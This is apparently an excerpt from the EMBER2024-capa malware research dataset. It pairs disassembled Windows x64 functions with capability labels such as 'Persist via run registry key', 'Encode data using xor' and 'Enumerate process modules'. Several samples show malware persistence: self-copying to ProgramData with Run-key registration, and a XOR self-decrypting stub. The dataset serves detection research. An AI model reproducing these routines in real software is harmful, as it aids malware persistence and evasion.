joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140004910
Capabilities:
Enumerate process modules

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x4a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x490], rax
mov rsi, r8
mov rbx, rdx
mov qword [rsp + 0x20], rdx
xor r14d, r14d
mov ebp, r14d
mov edx, dword [rcx]
lea ecx, [r14 + 0x18]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14000499c
mov rdx, qword [rbx + 0x18]
cmp rdx, 7
jbe 0x140004995
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
mov rcx, qword [rbx]
jb 0x140004990
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140004ba6
mov rcx, r8
call fcn.14000529c
xor eax, eax
jmp 0x140004b20
xor edx, edx
mov r8d, 0x434
lea rcx, [rsp + 0x34]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x30], 0x438
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Module32FirstW]
test eax, eax
jne 0x1400049d3
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140004956
xorps xmm0, xmm0
movups xmmword [rsp + 0x470], xmm0
mov qword [rsp + 0x480], r14
mov qword [rsp + 0x488], r14
lea rax, [rsp + 0x60]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], r14w
jne 0x140004a00
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x470]
call fcn.1400039c0
lea rax, [rsp + 0x470]
mov r10, qword [rsp + 0x488]
cmp r10, 7
seta r11b
mov r9, qword [rsp + 0x470]
cmova rax, r9
mov rdx, qword [rbx + 0x10]
mov r8, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140004a51
mov r8, qword [rbx]
cmp rdx, qword [rsp + 0x480]
jne 0x140004b4e
test rdx, rdx
je 0x140004a88
sub r8, rax
nop word [rax + rax]
movzx ecx, word [r8 + rax]
cmp cx, word [rax]
jne 0x140004b4e
add rax, 2
sub rdx, 1
jne 0x140004a70
test rsi, rsi
je 0x140004a94
mov eax, dword [rsp + 0x50]
mov qword [rsi], rax
mov rbp, qword [rsp + 0x48]
cmp r10, 7
jbe 0x140004ad4
lea rdx, [r10*2 + 2]
mov rax, r9
cmp rdx, 0x1000
jb 0x140004acc
add rdx, 0x27
mov r9, qword [r9 - 8]
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004b9f
mov rcx, r9
call fcn.14000529c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 7
jbe 0x140004b1d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x140004b18
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140004ba6
mov rcx, r8
call fcn.14000529c
mov rax, rbp
mov word [rbx], r14w
mov qword [rbx + 0x18], 7
mov qword [rbx + 0x10], r14
mov rcx, qword [rsp + 0x490]
xor rcx, rsp
call fcn.140005240
add rsp, 0x4a0
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
test r11b, r11b
je 0x140004b84
lea rdx, [r10*2 + 2]
mov rax, r9
cmp rdx, 0x1000
jb 0x140004b7c
add rdx, 0x27
mov r9, qword [r9 - 8]
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004b9f
mov rcx, r9
call fcn.14000529c
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Module32NextW]
test eax, eax
jne 0x1400049d3
jmp 0x140004ad4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x140004bb0
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x140004bea
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x140004bef
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140004c38
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1400073f0]
cmp byte [rcx + rax], 0
je 0x140004c38
dec r8
sub rdx, 1
jne 0x140004c1e
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x140005c3c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005c86
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005c86
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005c86
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005c86
cmp dword [rcx + 0x84], 0xe
jbe 0x140005c86
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140005c88
xor al, al
add rsp, 0x28
ret
Function at 0x140001480
Capabilities:
Copy file
Persist via run registry key
Set registry value
Terminate process

Disassembly:
sub rsp, 0x2a8
mov rax, qword [0x14000e010]
xor rax, rsp
mov qword [rsp + 0x290], rax
mov r8d, 0x104
lea rdx, [rsp + 0x80]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x58]
call fcn.140001290
nop
lea rdx, str.C:ProgramDatamapperpriv.exe
lea rcx, [rsp + 0x38]
call fcn.140001290
nop
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x58]
call fcn.1400015a0
test al, al
je 0x14000150a
lea rcx, [rsp + 0x38]
call fcn.140001210
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140001210
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140001582
lea rcx, [rsp + 0x38]
call fcn.140001210
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140001200
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdx
mov r9d, 1
xor r8d, r8d
lea rdx, str.mapperpriv
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.1400013e0
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3

Function at 0x140002114
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000215e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000215e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000215e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000215e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000215e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002160
xor al, al
add rsp, 0x28
ret
Function at 0x140029a0c
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001d0d4
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001d0d4
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140029b5c
cmp rax, 0xffffffffffffffff
je 0x140029b5c
xor edi, edi
test rbp, rbp
jle 0x140029b07
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001fa00
mov rbx, rax
test rax, rax
jne 0x140029a94
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140029afd
mov edx, 0x8000
mov ecx, r14d
call fcn.14001aa08
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001ddb0
cmp eax, 0xffffffff
je 0x140029add
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140029aa4
mov edx, r15d
mov ecx, r14d
call fcn.14001aa08
jmp 0x140029afd
cmp byte [rsi + 0x38], dil
je 0x140029af4
cmp dword [rsi + 0x34], 5
jne 0x140029af4
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140029afd
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001b79c
jmp 0x140029b70
jns 0x140029b70
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001d0d4
cmp rax, 0xffffffffffffffff
jne 0x140029b28
cmp byte [rsi + 0x30], dil
je 0x140029b70
mov edi, dword [rsi + 0x2c]
jmp 0x140029b70
mov ecx, r14d
call fcn.140018ec4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140029b70
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140029b70
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140029b69
mov eax, dword [rsi + 0x2c]
jmp 0x140029b6e
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001d0d4
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x14002ac60
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002ac88
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14002ac88
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x140c4fbbc
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140c4fbc6
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x140c4fbef
pop rbp
sub rbp, 0x33
sub rbp, 0xc4fbbc
sub rsp, 0x20
jmp 0x140c4fc0e
mov rax, 0xc4fbbc
add rax, rbp
add rax, 0x84
mov rcx, 0x647
mov rdx, 0xffffffff866701d2
xor byte [rax], dl
inc rax
dec rcx
jne 0x140c4fc2d
jmp 0x140c4fc44
invalid
Function at 0x1400025d0
Capabilities:
Get common file path

Disassembly:
sub rsp, 0x48
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1400026da
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x1400026cf
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x1400026c4
mov r8d, 0x7fff
mov rdx, qword [rsp + 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x1400026b9
mov edx, 0x7fff
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x1400026b9
mov r9, qword [rsp + 0x28]
lea r8, str._sexplorer.exe
mov edx, 0x7fff
mov rcx, qword [rsp + 0x30]
call fcn.14004f7cc
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x1400026b9
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, 1
jmp 0x1400026dc
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
add rsp, 0x48
ret

Function at 0x1400026f0
Capabilities:
Get common file path

Disassembly:
sub rsp, 0x48
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1400027fa
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x1400027ef
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x1400027e4
mov r8d, 0x7fff
mov rdx, qword [rsp + 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x1400027d9
mov edx, 0x7fff
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x1400027d9
mov r9, qword [rsp + 0x28]
lea r8, str._s_svchost.exe
mov edx, 0x7fff
mov rcx, qword [rsp + 0x30]
call fcn.14004f7cc
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x1400027d9
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, 1
jmp 0x1400027fc
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
add rsp, 0x48
ret
Function at 0x140005b80
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
sub rsp, 0x68
lea rdx, [rsp + 0x30]
lea rcx, [0x14008a1d0]
call fcn.140005d90
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
je 0x140005cd3
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x140005cc8
lea rax, str.server.exe
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x38]
lea r8, [0x1400682e0]
mov edx, 0x7fff
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov dword [rsp + 0x50], eax
cmp dword [reloc.WS2_32.dll_accept], 1
jne 0x140005c58
lea r8, [rsp + 0x48]
lea rdx, [0x1400682f0]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x140005c58
mov eax, dword [rsp + 0x50]
inc eax
cdqe
shl rax, 1
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.AB1F3E47_AEF1_400E_A108_233A046C3A34
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [0x14008c03c], 1
jne 0x140005cbd
lea r8, [rsp + 0x48]
lea rdx, [0x140068350]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x140005cbd
mov eax, dword [rsp + 0x50]
inc eax
cdqe
shl rax, 1
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [0x14008c162]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, 1
add rsp, 0x68
ret

Function at 0x140005cf0
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
sub rsp, 0x38
cmp dword [reloc.WS2_32.dll_accept], 1
jne 0x140005d37
lea r8, [rsp + 0x20]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x140005d37
lea rdx, str.AB1F3E47_AEF1_400E_A108_233A046C3A34
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [0x14008c03c], 1
jne 0x140005d7a
lea r8, [rsp + 0x20]
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x140005d7a
lea rdx, [0x14008c162]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
add rsp, 0x38
ret
Function at 0x140005d90
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x58
mov rax, qword [rsp + 0x70]
cmp dword [rax + 0x64], 1
jne 0x140005dc6
lea rax, [rsp + 0x20]
lea rcx, [0x140072030]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
jmp 0x140005dea
mov rax, qword [rsp + 0x70]
cmp dword [rax + 0x64], 2
jne 0x140005dea
lea rax, [rsp + 0x20]
lea rcx, [0x140072040]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea r9, [rsp + 0x30]
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x20]
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
jne 0x140005eaf
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
mov dword [rsp + 0x40], eax
mov rax, qword [rsp + 0x70]
add rax, 0x68
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov eax, ecx
cdqe
lea rax, [rax + rax + 0xa]
mov rdx, rax
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
je 0x140005ea4
mov rax, qword [rsp + 0x70]
add rax, 0x68
mov r9, rax
mov r8, qword [rsp + 0x30]
lea rdx, str._s_s_
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.USER32.dll_wsprintfW]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rsp + 0x78]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rax, qword [rsp + 0x38]
jmp 0x140005eb1
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
xor eax, eax
add rsp, 0x58
pop rdi
pop rsi
ret
Function at 0x140005ec0
Capabilities:
Create directory
Get common file path

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x68
lea r9, [rsp + 0x30]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140072030]
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
jne 0x140005fdb
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
je 0x140005fd0
mov rax, qword [rsp + 0x70]
add rax, 0x2166
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x30]
lea r8, [0x140068480]
mov edx, 0x7fff
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
test eax, eax
jle 0x140005fc5
call fcn.1400056f0
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x140005fc5
mov dword [rsp + 0x48], 0x18
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], 0
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
cmp eax, 1
je 0x140005f8a
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140005fb2
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov eax, 1
jmp 0x140005fdd
cmp qword [rsp + 0x40], 0
je 0x140005fc5
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
xor eax, eax
add rsp, 0x68
ret

Function at 0x140005ff0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
lea r9, [rsp + 0x30]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140072030]
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
jne 0x140006094
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
je 0x140006089
mov rax, qword [rsp + 0x50]
add rax, 0x2166
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x30]
lea r8, [0x140068490]
mov edx, 0x7fff
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
test eax, eax
jle 0x140006089
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rsp + 0x58]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rax, qword [rsp + 0x38]
jmp 0x140006096
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
xor eax, eax
add rsp, 0x48
ret
Function at 0x140007a40
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140007b00]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x14008fac0], rax
cmp qword [0x14008fac0], 0
je 0x140007a81
mov eax, 1
jmp 0x140007a83
xor eax, eax
add rsp, 0x38
ret

Function at 0x140008460
Capabilities:
Delete file
Get common file path
Write file on windows

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
movsxd rax, dword [rsp + 0x90]
mov rdx, rax
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x140008656
movsxd rax, dword [rsp + 0x90]
mov r8, rax
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x40]
call fcn.140050270
movsxd rax, dword [rsp + 0x90]
xor edx, edx
mov ecx, 4
div rcx
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x54], 0
jmp 0x1400084e1
mov eax, dword [rsp + 0x54]
inc eax
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x50]
cmp dword [rsp + 0x54], eax
jge 0x14000850e
movsxd rax, dword [rsp + 0x54]
mov rcx, qword [rsp + 0x40]
movsx eax, byte [rcx + rax*4]
xor eax, dword [0x14008a6e4]
movsxd rcx, dword [rsp + 0x54]
mov rdx, qword [rsp + 0x40]
mov byte [rdx + rcx*4], al
jmp 0x1400084d7
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x14000864b
mov rdx, qword [rsp + 0x48]
mov ecx, 0x7fff
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jbe 0x140008640
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
je 0x140008640
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x48]
lea r8, [0x1400686a8]
mov edx, 0x7fff
mov rcx, qword [rsp + 0x58]
call fcn.14004f7cc
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0xffffffffffffffff
je 0x140008635
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x68]
mov r8d, dword [rsp + 0x90]
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [rsp + 0x90]
cmp dword [rsp + 0x68], eax
jne 0x14000861f
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rax, qword [rsp + 0x58]
jmp 0x140008658
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
add rsp, 0x78
ret